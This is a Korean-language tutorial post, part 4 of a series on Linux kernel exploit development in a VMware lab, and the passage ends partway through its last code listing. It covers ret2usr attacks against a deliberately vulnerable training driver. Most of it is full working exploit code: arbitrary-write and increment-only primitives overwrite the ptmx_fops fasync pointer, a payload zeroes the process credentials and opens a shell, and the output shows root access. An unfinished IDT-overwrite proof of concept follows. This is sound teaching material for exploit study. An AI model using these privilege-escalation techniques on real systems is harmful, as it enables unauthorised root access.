Home Linux Kernel Exploit Development (Part 4/10)
Post
Cancel

Linux Kernel Exploit Development (Part 4/10)

Linux Kernel Exploit Development with VMware - Lab4::ret2usr


목차

  1. 목차
  2. ret2usr
  3. Arbitary Address Write Exploit
  4. Partical Write Exploit
  5. IDT overwrite
    1. The IDT(Interrupt Descriptor Table)
  6. References

ret2usr

커널 영역은 가상 주소로 시스템 내의 모든 프로세스에 매핑된다. 하지만, 보안상의 문제가 야기될 수 있기 때문에 유저 프로세스는 커널 영역에 접근할 수 없지만, 커널 영역에서는 유저 프로세스의 메모리 영역에 접근이 가능하다.

ret2usr 공격은 이러한 메모리 디자인을 기반으로 커널이 유저 메모리 영역에 있는 페이로드에 접근해 권한 상승을 일으키는 공격이다. 간단한 예로, 커널 함수 포인터를 유저 메모리 영역에서 선언된 payload() 함수의 주소로 변경시켜 커널이 익스플로잇 코드를 실행하게 만들 수 있다.

TestVM~/exercises/arbitrary_write 디렉터리에는 취약한 드라이버의 소스인 ret2usr_mod.c가 존재한다. 해당 드라이버를 통해 Arbitary Address WritePartical Write를 통한 Exploit을 진행한다.

ret2usr_mod.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
/**
  * This module registers the "/dev/ret2usr" character device.
  *
  * Two ioctls are provided:
  *
  * - IOCTL_FULL_WRITE - a write-what-where exploitation primitive
  * - IOCTL_PARTIAL_WRITE - can increment arbitrary memory addresses by 1
  *
  * Author: Vitaly Nikolenko
  * Email: [email protected]
  */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/uaccess.h>
#include "drv.h"

static int device_open(struct inode *, struct file *);
static long device_ioctl(struct file *, unsigned int, unsigned long);
static int device_release(struct inode *, struct file *f);

static int major_no;

static struct file_operations fops = {
	.open = device_open,
	.release = device_release,
	.unlocked_ioctl = device_ioctl
};

static int device_release(struct inode *i, struct file *f) {
	printk(KERN_INFO "device_release() called\n");
	return 0;
}

static int device_open(struct inode *i, struct file *f) {
	printk(KERN_INFO "Device opened!\n");
	return 0;
}

/* write-what-where */
static void arbitrary_write(unsigned long address, unsigned longvalue) {
	printk(KERN_INFO "Writing %lx into %p\n", value, (void *)address);
	*(unsigned long *)address = value;
}

/* can only increment arbitrary memory addresses by 1 */
static void partial_write(unsigned long address) {
	printk(KERN_INFO "Incrementing addr %p\n", (void *)address);
	*(unsigned long *)address += 1;
}

static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) {
	struct drv_req *req;

	printk(KERN_INFO "cmd = %d\n", cmd);
	req = (struct drv_req *)args;

	switch(cmd) {
	case IOCTL_FULL_WRITE: /* write-what-where */
		arbitrary_write(req->address, req->value);
		break;
	case IOCTL_PARTIAL_WRITE: /* can increment address by 1 */
		partial_write(req->address);
		break;
	default:
		break;
	}

	return 0;
}
static struct class *class;

static int __init load(void) {
	printk(KERN_INFO "Driver loaded\n");
	major_no = register_chrdev(0, DEVICE_NAME, &fops);
	printk(KERN_INFO "major_no = %d\n", major_no);
	class = class_create(THIS_MODULE, DEVICE_NAME);
	device_create(class, NULL, MKDEV(major_no, 0), NULL, DEVICE_NAME);

	return 0;
}

static void __exit unload(void) {
	device_destroy(class, MKDEV(major_no, 0));
	class_unregister(class);
	class_destroy(class);
	unregister_chrdev(major_no, DEVICE_NAME);
	printk(KERN_INFO "Driver unloaded\n");
}

module_init(load);
module_exit(unload);

MODULE_LICENSE("GPL");

_init_load() 함수를 통해 /dev/ret2usr 디바이스를 등록하며, device_ioctl() 함수 선언을 통해 ioctl()1호출시 arbitrary_write() 함수와 partial_write()함수를 사용할 수 있다.


Arbitary Address Write Exploit

아래와 같은 AAW trigger template이 제공되어 있다.

trigger1.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* arbitrary write primitive (write-what-where) trigger */
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include "drv.h"

int main() {
	int fd;
	struct drv_req req;

	fd = open(DEVICE_PATH, O_RDONLY);

	if (fd == -1) {
		perror("open");
		return -1;
	}

	/* set the address to overwrite and the new value */
	req.address = 0xffffffff81000000;
	req.value = 0xdeadbeef;

	ioctl(fd, IOCTL_FULL_WRITE, &req);
}

ioctl 호출시 cmd 필드가 IOCTL_FULL_WRITE이라면, 임의 주소 쓰기(Arbitary Address Write, AAW)가 가능하다.

우선 Exploit 코드를 작성하기 전, 메모리의 어느 공간(Where)에, 어떤 값(What)을 쓸 것인지 생각해야 한다. IOCTL_FULL_WRITE 옵션을 통해 커널 영역의 함수 포인터를 유저 영역에서 우리가 선언한 함수의 주소로 바꿔치기하여 ret2usr 공격을 성사시킬 수 있을 것이기 때문에 What은 우리가 작성한 Exploit Payload 함수의 주소가 된다.

그렇다면 Where, 어디에 페이로드 함수의 주소를 써야 할까? 이번에는 Blazeme 문제를 풀다가 발견한 방법을 사용해 보려고 한다.

링크의 글에서는 AAW 취약점을 통해 /dev/ptmx 디바이스의 file_operations(fops)구조체 내에 존재하는 함수 포인터를 덮는 방식으로 익스플로잇을 진행한다.

우선, ptmx_fops 구조체의 주소부터 구해보자.

1
2
3
test@ubuntu:~/exercises/arbitrary_write$ sudo cat /proc/kallsyms | grep "ptmx_fops"
ffffffff81f148a0 b ptmx_fops
test@ubuntu:~/exercises/arbitrary_write$

MasterVM에서 remote debugging을 통해 위에서 구한 주소에 위치한 구조체를 확인한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@master:~# gdb kernels/vmlinux-3.5.0-23-generic -q
Reading symbols from kernels/vmlinux-3.5.0-23-generic...done.
(gdb) target remote 192.168.94.1:8864
Remote debugging using 192.168.94.1:8864
native_safe_halt () at /build/buildd/linux-lts-quantal-3.5.0/arch/x86/include/asm/irqflags.h:50
warning: Source file is more recent than executable.
50	}
(gdb) p *(struct file_operations*)0xffffffff81f148a0
$1 = {owner = 0x0 <irq_stack_union>, llseek = 0xffffffff81187030 <no_llseek>,
  read = 0xffffffff813eb820 <tty_read>, write = 0xffffffff813ebfe0 <tty_write>,
  aio_read = 0x0 <irq_stack_union>, aio_write = 0x0 <irq_stack_union>, readdir = 0x0 <irq_stack_union>,
  poll = 0xffffffff813eb780 <tty_poll>, unlocked_ioctl = 0xffffffff813ed720 <tty_ioctl>,
  compat_ioctl = 0xffffffff813eb6a0 <tty_compat_ioctl>, mmap = 0x0 <irq_stack_union>,
  open = 0xffffffff813f5f30 <ptmx_open>, flush = 0x0 <irq_stack_union>,
  release = 0xffffffff813ecc30 <tty_release>, fsync = 0x0 <irq_stack_union>,
  aio_fsync = 0x0 <irq_stack_union>, fasync = 0xffffffff813eb650 <tty_fasync>,
  lock = 0x0 <irq_stack_union>, sendpage = 0x0 <irq_stack_union>,
  get_unmapped_area = 0x0 <irq_stack_union>, check_flags = 0x0 <irq_stack_union>,
  flock = 0x0 <irq_stack_union>, splice_write = 0x0 <irq_stack_union>,
  splice_read = 0x0 <irq_stack_union>, setlease = 0x0 <irq_stack_union>,
  fallocate = 0x0 <irq_stack_union>}
(gdb) p &$1.fasync
$2 = (int (**)(int, struct file *, int)) 0xffffffff81f14920 <ptmx_fops+128>
(gdb)

fasync 함수 포인터가 ptmx_fops+128 위치에 존재하므로 해당 포인터를 payload() 함수 주소로 덮은 후 fcntl(ptmx, F_SETFL, FASYNC); 명령을 통해 fasync 함수 포인터를 호출할 수 있다.

payload() 함수는 이전 lab3에서 사용했던 automated privilege escalation 코드를 재사용한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __attribute__((regparm(3))) payload() {
        asm(
                "pushq %rax;"                                   /* save Registers */
                "pushq %rcx;"
                "movq %rsp, %rax;"                              /* get SP */
                "movq $0xFFFFFFFFFFFFE000, %rcx;"               /* calc THREAD_SIZE */
                "andq %rcx, %rax;"                              /* calc thread_info */
                "movq (%rax), %rcx;"                            /* get task_struct */
                "movq 0x458(%rcx), %rax;"                       /* get real_cred */
                "movl $0, 0x04(%rax);"                          /* set  uid */
                "movl $0, 0x14(%rax);"                          /* set euid */
                "popq %rcx;"                                    /* restore Registers */
                "popq %rax;"
        );
}

그리고, 취약 모듈에서 받는 값은 4Byteunsigned long형으로 캐스팅되어 쓰이기 때문에 8Byte를 쓸 수 있게 간단한 프리미티브 함수를 만들었다.

1
2
3
4
5
6
7
8
9
10
void _write(int fd, unsigned long long address, unsigned long long value) {
        struct drv_req req;
        req.address = address;
        req.value   = value & 0xffffffff;
        ioctl(fd, IOCTL_FULL_WRITE, &req);

        req.address = address + 4;
        req.value = value & 0xffffffff00000000;
        ioctl(fd, IOCTL_FULL_WRITE, &req);
}

Full Exploit Code는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/* arbitrary write primitive (write-what-where) trigger */
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include "drv.h"

void __attribute__((regparm(3))) payload() {
        asm(
                "pushq %rax;"                                   /* save Registers */
                "pushq %rcx;"
                "movq %rsp, %rax;"                              /* get SP */
                "movq $0xFFFFFFFFFFFFE000, %rcx;"               /* calc THREAD_SIZE */
                "andq %rcx, %rax;"                              /* calc thread_info */
                "movq (%rax), %rcx;"                            /* get task_struct */
                "movq 0x458(%rcx), %rax;"                       /* get real_cred */
                "movl $0, 0x04(%rax);"                          /* set  uid */
                "movl $0, 0x14(%rax);"                          /* set euid */
                "popq %rcx;"                                    /* restore Registers */
                "popq %rax;"
        );
}

void _write(int fd, unsigned long long address, unsigned long long value) {
	struct drv_req req;
	req.address = address;
	req.value   = value & 0xffffffff;
	ioctl(fd, IOCTL_FULL_WRITE, &req);

	req.address = address + 4;
	req.value = value & 0xffffffff00000000;
	ioctl(fd, IOCTL_FULL_WRITE, &req);
}

int main() {
	int fd, ptmx_fd;
	int uid;
	struct drv_req req;
	unsigned long long ptmx_fops = 0xffffffff81f148a0;

	fd = open(DEVICE_PATH, O_RDONLY);
	ptmx_fd = open("/dev/ptmx", O_RDWR);

	if (fd == -1) {
		perror("open");
		return -1;
	}

	_write(fd, ptmx_fops+128, (unsigned long long)&payload);
	fcntl(ptmx_fd, F_SETFL, FASYNC);

	uid = getuid();
	printf("uid: %d\n", uid);

	if(uid) {
		printf("failure\n");
		exit(1);
	}
	execve("/bin/sh", NULL, NULL);
	return 0;
}

result

1
2
3
4
5
6
test@ubuntu:~/exercises/arbitrary_write$ sudo insmod ret2usr_mod.ko
test@ubuntu:~/exercises/arbitrary_write$ ./ex1
uid: 0
# id
uid=0(root) gid=1001(test) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare),1001(test)
#

Partical Write Exploit

이번에는 원하는 위치에 원하는 값을 쓸 수 있지만, 제약 조건이 생겼다.

원하는 값을 즉시 적을 수 있는 것이 아니라, 1씩 증가시킬 수 있다는 것. 기본적인 방법은 Arbitary Address Write Exploit와 동일하지만, 프리미티브 구현을 다르게 해야 한다.

이 과정에서 겪은 시행착오를 설명하자면, (처음 짰던 프리미티브를 날려먹었다.) AAW Exploit과 동일하게 ptmx_fops 구조체 내의 fasync 함수 포인터를 1씩 여러번, payload()함수의 주소가 될 때까지 증가시키도록 프리미티브를 짰었다. 그러나 그 과정이 ioctl을 대략 0x7F01****번 호출해야 한다는 것을 간과하고 익스를 돌리는 순간, 그램은 이륙을 시작하고 그대로 40분동안 익스가 돌아갔다. (물론 익스는 계산미스로 실패)

아래 코드는 위의 시행착오를 겪고 난 이후 수정한 프리미티브이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void _write(int fd, uint64_t addr, uint64_t orgValue, uint64_t chValue) {
        struct drv_req req;
        uint64_t count;
        int i;
        uint8_t *mem = malloc(0x10);
        *(uint64_t *)mem = orgValue;

        for(i=0; i<4; i++) {
                int shifts = 8 * i;
                uint64_t target = addr << shifts;
                uint8_t orgByte = *(mem+i);
                uint8_t chByte  = ((chValue & (0xff << 8*i))>>8*i);
                uint8_t loopCount;
                int count;
                if(orgByte > chByte) {
                        loopCount = (0x100 - orgByte) + chByte;
                } else {
                        if(orgByte == chByte) {
                                continue;
                        }
                        loopCount = chByte - orgByte;
                }

                for(count=0 ; count < loopCount; count++) {
                        // TODO Change this to ioctl
                        *(uint32_t*)(mem+i) += 1;
                        req.address = addr + i;
                        ioctl(fd, IOCTL_PARTIAL_WRITE, &req);
                }
        }
}

1차 프리미티브가 0x11223344의 값을 통으로 증가(0x44444444값을 만들기 위해 같은 메모리 주소에 0x33221100번 증가 연산)시켰다면, 2차 프리미티브는 0x44위치에 0번, 0x33위치에 0x11번, 0x22위치에 0x22번, 0x11위치에 0x33번 연산을 수행한다. malloc()을 통해 힙 메모리 영역에 원본 값을 쓰고, 커널 메모리 증가와 동시에 증가되도록 하여 계산을 도왔다. i값이 4이하 (하위 4바이트만 증가)시키는 것은, 어차피 4번째 바이트(0x1122334455667788에서 44 부분)가 overflow되어 carry가 발생하면 뒤의 0xffffffff******** 부분도 연쇄적으로 overflow되어 0이 되므로 연산에서 제외했다.

Full Exploit Code는 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
/* partially-controlled write primitive trigger */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include "drv.h"

void __attribute__((regparm(3))) payload() {
        asm(
                "pushq %rax;"                                   /* save Registers */
                "pushq %rcx;"
                "movq %rsp, %rax;"                              /* get SP */
                "movq $0xFFFFFFFFFFFFE000, %rcx;"               /* calc THREAD_SIZE */
                "andq %rcx, %rax;"                              /* calc thread_info */
                "movq (%rax), %rcx;"                            /* get task_struct */
                "movq 0x458(%rcx), %rax;"                       /* get real_cred */
                "movl $0, 0x04(%rax);"                          /* set  uid */
                "movl $0, 0x14(%rax);"                          /* set euid */
                "popq %rcx;"                                    /* restore Registers */
                "popq %rax;"
        );
}

void _write(int fd, uint64_t addr, uint64_t orgValue, uint64_t chValue) {
	struct drv_req req;
	uint64_t count;
	int i;
	uint8_t *mem = malloc(0x10);
	*(uint64_t *)mem = orgValue;

	for(i=0; i<4; i++) {
		int shifts = 8 * i;
		uint64_t target = addr << shifts;
		uint8_t orgByte = *(mem+i);
		uint8_t chByte  = ((chValue & (0xff << 8*i))>>8*i);
		uint8_t loopCount;
		int count;
		if(orgByte > chByte) {
			loopCount = (0x100 - orgByte) + chByte;
		} else {
			if(orgByte == chByte) {
				continue;
			}
			loopCount = chByte - orgByte;
		}

		for(count=0 ; count < loopCount; count++) {
			// TODO Change this to ioctl
			*(uint32_t*)(mem+i) += 1;
			req.address = addr + i;
			ioctl(fd, IOCTL_PARTIAL_WRITE, &req);
		}
	}
}

int main() {
	int fd, ptmx_fd;
	int uid;

	fd = open(DEVICE_PATH, O_RDONLY);
	ptmx_fd = open("/dev/ptmx", O_RDWR);

	if (fd == -1) {
		perror("open");
		return -1;
	}
	_write(fd, 0xffffffff81f14920, 0xffffffff813eb650, (uint64_t)&payload);
	fcntl(ptmx_fd, F_SETFL, FASYNC);

	uid = getuid();
	printf("uid: %d\n", uid);
	if(uid) {
		printf("failure\n");
		exit(1);
	}

	execve("/bin/sh", NULL, NULL);
	return 0;
}

result

1
2
3
4
5
6
test@ubuntu:~/exercises/arbitrary_write$ sudo insmod ret2usr_mod.ko
test@ubuntu:~/exercises/arbitrary_write$ ./ex2
uid: 0
# id
uid=0(root) gid=1001(test) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare),1001(test)
#

190926 추가 아직 해보진 않았지만, 0xffffffff813eb650 주소를 호출하는 것이니 상위 4바이트에만 + 1 연산을 하게 되면 함수 포인터가 0x00000000813eb650이 되게 되므로 해당 주소에 유저가 mmap()을 통해 메모리를 매핑하고 payload()함수 내용을 memcpy()를 통해 복사하게 된다면? 단 1번의 트리거링을 통해 익스가 가능하지 않을까..?


IDT overwrite

Partical Write Exploit에서 작성한 프리미티브를 가지고, IDT Overwrite 기법을 사용해 익스플로잇을 해야 한다.

The IDT(Interrupt Descriptor Table)

간단하게 설명하자면, 시스템에서 인터럽트가 발생하게 되면, 커널은 idtr레지스터가 가지고 있는 포인터 내의 인터럽트 테이블에서 해당하는 인터럽트 번호의 entry를 찾아 해당 entry가 가지고 있는 함수 포인터를 호출한다.

간단한 예로, int 0x80은 시스템 콜 인터럽트이다. 해당 인터럽트가 발생하게 되면 이 소스에 선언된 IA32_SYSCALL_VECTOR(0x80)번째 entry에 등록된 entry_INT80_32 함수를 호출하게 된다.

무진장 도움이 많이 된 링크 두개를 첨부한다! [1] [2]

1번 링크는 IDTR와 IDT에 대해 자세히 설명되어 있고, 2번 링크는 IDT Overwrite를 통해 익스플로잇을 진행한 1-day PoC(x32)이다.

일단 idtr 레지스터의 값을 빼오는 것부터 시작하자. linux 소스 코드 상에서는 다음과 같이 idtr 레지스터 추출 함수가 구현되어 있다. (x86)

1
2
3
4
static inline void store_idt(struct desc_ptr *dtr)
{
	asm volatile("sidt %0":"=m" (*dtr));
}

그리고 위 함수에서 사용하는 struct desc_ptr 구조체는 아래와 같이 정의되어 있다.

1
2
3
4
struct desc_ptr {
	unsigned short size;
	unsigned long address;
} __attribute__((packed)) ;

이를 기반으로 한번 idtr 레지스터를 추출해보자.

1번 링크의 이 부분을 참조하여 x64 idtr구조체를 작성하였다.

idtr struct

1
2
3
4
struct idtr {
        uint16_t limit;
        uint64_t base;
} __attribute__ ((packed));

full-code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* partially-controlled write primitive trigger */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include "drv.h"

struct idtr {
        uint16_t limit;
        uint64_t base;
} __attribute__ ((packed));

int main() {
        int i;
        struct idtr idtr;

        asm("sidt %0" : "=m" (idtr));
        printf("idtr.base %p\n", (void*)idtr.base);

        return 0;
}

result

1
2
3
4
test@ubuntu:~/exercises/arbitrary_write$ gcc -o ex3 ex3.c
test@ubuntu:~/exercises/arbitrary_write$ ./ex3
idtr.base 0xffffffff81dd6000
test@ubuntu:~/exercises/arbitrary_write$

이 코드를 통해 위에서 출력된 메모리 주소가 idt gate entry라는 것을 알 수 있었다.2

1
2
3
4
struct desc_ptr idt_descr __ro_after_init = {
	.size		= (IDT_ENTRIES * 2 * sizeof(unsigned long)) - 1,
	.address	= (unsigned long) idt_table,
};

idt_table은 이렇게 정의되어 있다.3

1
extern gate_desc idt_table[];

idt_table에 저장되는 gate_desc는 아래와 같이 gate_struct이며4,

1
typedef struct gate_struct gate_desc;

gate_struct 구조체는 아래와 같은 모양으로 선언되어 있다(x86).5

1
2
3
4
5
6
7
/* 8 byte segment descriptor */
struct desc_struct {
	u16	limit0;
	u16	base0;
	u16	base1: 8, type: 4, s: 1, dpl: 2, p: 1;
	u16	limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

x86_64의 gate_struct 구조체는 gdb를 통해 아래와 같이 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) ptype gate_desc
type = struct gate_struct64 {
    u16 offset_low;
    u16 segment;
    unsigned int ist : 3;
    unsigned int zero0 : 5;
    unsigned int type : 5;
    unsigned int dpl : 2;
    unsigned int p : 1;
    u16 offset_middle;
    u32 offset_high;
    u32 zero1;
}

링크에서는 IDT Table을 아래와 같은 구조로 설명한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
                                      INTERRUPT DESCRIPTOR TABLE
                                            +------+-----+-----+------+
                                      +---->|      |     |     |      |
                                      |     |- GATE FOR INTERRUPT #N -|
                                      |     |      |     |     |      |
                                      |     +------+-----+-----+------+
                                      |     *                         *
                                      |     *                         *
                                      |     *                         *
                                      |     +------+-----+-----+------+
                                      |     |      |     |     |      |
                                      |     |- GATE FOR INTERRUPT #2 -|
                                      |     |      |     |     |      |
                                      |     |------+-----+-----+------|
          IDT REGISTER                |     |      |     |     |      |
                                      |     |- GATE FOR INTERRUPT #1 -|
                  15            0     |     |      |     |     |      |
                 +---------------+    |     |------+-----+-----+------|
                 |   IDT LIMIT   |----+     |      |     |     |      |
+----------------+---------------|          |- GATE FOR INTERRUPT #0 -|
|            IDT BASE            |--------->|      |     |     |      |
+--------------------------------+          +------+-----+-----+------+
31                             0

이제 처음에 출력한 idtr 레지스터의 base주소를 확인해보자.

MasterVM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(gdb) x/32gx 0xffffffff81dd6000
0xffffffff81dd6000:	0x816a8e0000108120	0x00000000ffffffff
0xffffffff81dd6010:	0x81698e040010edb0	0x00000000ffffffff
0xffffffff81dd6020:	0x81698e030010f1c0	0x00000000ffffffff
0xffffffff81dd6030:	0x8169ee040010edf0	0x00000000ffffffff
0xffffffff81dd6040:	0x816aee0000108140	0x00000000ffffffff
0xffffffff81dd6050:	0x816a8e0000108160	0x00000000ffffffff
0xffffffff81dd6060:	0x816a8e0000108180	0x00000000ffffffff
0xffffffff81dd6070:	0x816a8e00001081a0	0x00000000ffffffff
0xffffffff81dd6080:	0x816a8e02001081c0	0x00000000ffffffff
0xffffffff81dd6090:	0x816a8e00001081f0	0x00000000ffffffff
0xffffffff81dd60a0:	0x816a8e0000108210	0x00000000ffffffff
0xffffffff81dd60b0:	0x816a8e0000108240	0x00000000ffffffff
0xffffffff81dd60c0:	0x81698e010010ee30	0x00000000ffffffff
0xffffffff81dd60d0:	0x81698e000010eed0	0x00000000ffffffff
0xffffffff81dd60e0:	0x81698e000010ef00	0x00000000ffffffff
0xffffffff81dd60f0:	0x816a8e0000108270	0x00000000ffffffff
(gdb)

해당 영역 내에 0x10Byte 크기의 gate_desc구조체가 나열되어 있다. 해당 구조체를 p 명령을 통해 typecast 한 후 확인해보자.

1
2
3
(gdb) p *(gate_desc*) 0xffffffff81dd6000
$2 = {offset_low = 33056, segment = 16, ist = 0, zero0 = 0, type = 14, dpl = 0, p = 1, offset_middle = 33130, offset_high = 4294967295, zero1 = 0}
(gdb)

offset_low 33056 => 0x8120 offset_mid 33130 => 0x816A offset_hi 4294967295 => 0xffffffff hi + mid + low => 0xffffffff816A8120

한번 해당 주소를 확인해보자.

1
2
3
(gdb) x/a 0xffffffff816A8120
0xffffffff816a8120 <divide_error>:	0xff6a0000441f0f66
(gdb)

divide_error 함수의 주소로 표시된다. 해당 entry는 아래와 같이 idt_table의 0번째에 선언이 되므로, 인터럽트 번호 0번에 해당하는 함수의 포인터를 알아낸 것이다.

1
2
3
4
static const __initconst struct idt_data def_idts[] = {
	INTG(X86_TRAP_DE,		divide_error),
  ...
  ...

그렇다면 인터럽트가 발생되었을 때 호출되는 함수의 포인터는 desc_struct내에 어떤 식으로 설정될까? 리눅스 커널에서는 아래의 set_intr_gate함수를 통해 원하는 idt_table 인터럽트 번호에 원하는 함수 포인터를 설정한다.

1
2
3
4
static inline void native_write_idt_entry(gate_desc *idt, int entry, const gate_desc *gate)
{
	memcpy(&idt[entry], gate, sizeof(*gate));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static inline void idt_init_desc(gate_desc *gate, const struct idt_data *d)
{
  unsigned long addr = (unsigned long) d->addr;

  gate->offset_low	= (u16) addr;
  gate->segment		= (u16) d->segment;
  gate->bits		= d->bits;
  gate->offset_middle	= (u16) (addr >> 16);
  #ifdef CONFIG_X86_64
  gate->offset_high	= (u32) (addr >> 32);
  gate->reserved		= 0;
  #endif
}

static void
idt_setup_from_table(gate_desc *idt, const struct idt_data *t, int size, bool sys)
{
  gate_desc desc;

  for (; size > 0; t++, size--) {
    idt_init_desc(&desc, t);
    write_idt_entry(idt, t->vector, &desc);
    if (sys)
    set_bit(t->vector, system_vectors);
  }
}

static void set_intr_gate(unsigned int n, const void *addr)
{
  struct idt_data data;

  BUG_ON(n > 0xFF);

  memset(&data, 0, sizeof(data));
  data.vector	= n;
  data.addr	= addr;
  data.segment	= __KERNEL_CS;
  data.bits.type	= GATE_INTERRUPT;
  data.bits.p	= 1;

  idt_setup_from_table(idt_table, &data, 1, false);
}

즉, 위 함수를 익스플로잇 코드 안에 구현함으로써 원하는 인터럽트 번호에 원하는 함수 포인터를 쓸 수 있게 된다.

2번 링크에서는, IDT Entry(Gate)를 매크로를 통해 다음과 같이 설정하고 있다.

1
2
3
4
5
6
#define SET_IDT_GATE(idt,ring,s,addr) \
	(idt).off1 = addr & 0xffff; \
	(idt).off2 = addr >> 16; \
	(idt).sel = s; \
	(idt).none = 0; \
	(idt).flags = 0x8E | (ring << 5);

추가적으로, idtd.dpl 값이 3이면 유저 모드에서 인터럽트를 발생시킬 수 있다고 한다. 아래와 같이 SET_IDT_GATE 매크로를 직접 x86_64로 포팅했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define SET_IDT_GATE(idt, addr) \
	(idt).offset_lo = (uint16_t) (addr & 0xffff); \
	(idt).segment   = 0x10; /* __KERNEL_CS */ \
	(idt).ist       = 0; \
	(idt).zero0     = 0; \
	(idt).type      = 0xe; /* GATE_INTERRUPT */ \
	(idt).dpl       = 3; /* can Execute int in usermode */\
	(idt).p         = 1; \
	(idt).offset_md        = (uint16_t) (addr >> 16); \
	(idt).offset_hi        = (uint32_t) (addr >> 32); \
	(idt).zero1     = 0;

struct idtr {
        uint16_t limit;
        uint64_t base;
} __attribute__ ((packed));

struct idtd {
        uint16_t offset_lo;
        uint16_t segment;
        uint16_t ist:3, zero0: 5, type: 5, dpl: 2, p: 1;
        uint16_t offset_md;
        uint32_t offset_hi;
        uint32_t zero1;
} __attribute__ ((packed));

테스트 삼아 아래와 같은 IDT Overwrite 테크닉을 이용한 권한 상승 코드를 작성해보았다. 실제 취약점을 이용하여 트리거링 하는 방식이 아니라, 직접 gdb를 통해 첫 getuid() 호출시 rip레지스터 값을 exploit()의 주소로 변경해주어 트리거링하는 방식을 통해 테스트했다.

PoC Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
/* partially-controlled write primitive trigger */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include "drv.h"

#define SET_IDT_GATE(idt, addr) \
	(idt).offset_lo = (uint16_t) (addr & 0xffff); \
	(idt).segment   = 0x10; /* __KERNEL_CS */ \
	(idt).ist       = 0; \
	(idt).zero0     = 0; \
	(idt).type      = 0xe; /* GATE_INTERRUPT */ \
	(idt).dpl       = 3; /* can Execute int in usermode */\
	(idt).p         = 1; \
	(idt).offset_md        = (uint16_t) (addr >> 16); \
	(idt).offset_hi        = (uint32_t) (addr >> 32); \
	(idt).zero1     = 0;

struct trapFrame {
	void* rip;
	uint64_t user_cs;
	uint64_t user_rflags;
	void* rsp;
	uint64_t user_ss;
};

struct trapFrame tf;

struct idtr {
	uint16_t limit;
	uint64_t base;
} __attribute__ ((packed));

struct idtd {
	uint16_t offset_lo;
	uint16_t segment;
	uint16_t ist:3, zero0: 5, type: 5, dpl: 2, p: 1;
	uint16_t offset_md;
	uint32_t offset_hi;
	uint32_t zero1;
} __attribute__ ((packed));

static void shell() {
	system("/bin/sh");
	exit(0);
}

static void save() {
	asm(
		"xor %%rax, %%rax;"
		"movq %%cs, %0;"
		"movq %%ss, %1;"
		"pushfq;"
		"popq %2;"
		: "=r" (tf.user_cs),
		  "=r" (tf.user_ss),
		  "=r" (tf.user_rflags) : : "memory"
	);
	tf.rip = &shell;
	tf.rsp = (void*)0x35000500;
}

static void rest() {
	asm(
		"movq $tf, %rsp;"
		"swapgs;"
		"iretq;"
	);
}

void __attribute__((regparm(3))) payload() {
        asm(
                "pushq %rax;"                                   /* save Registers */
                "pushq %rcx;"
                "movq %rsp, %rax;"                              /* get SP*/
                "movq $0xFFFFFFFFFFFFE000, %rcx;"               /* calc THREAD_SIZE */
                "andq %rcx, %rax;"                              /* calc thread_info */
                "movq (%rax), %rcx;"                            /* get task_struct */
                "movq 0x458(%rcx), %rax;"                       /* get real_cred */
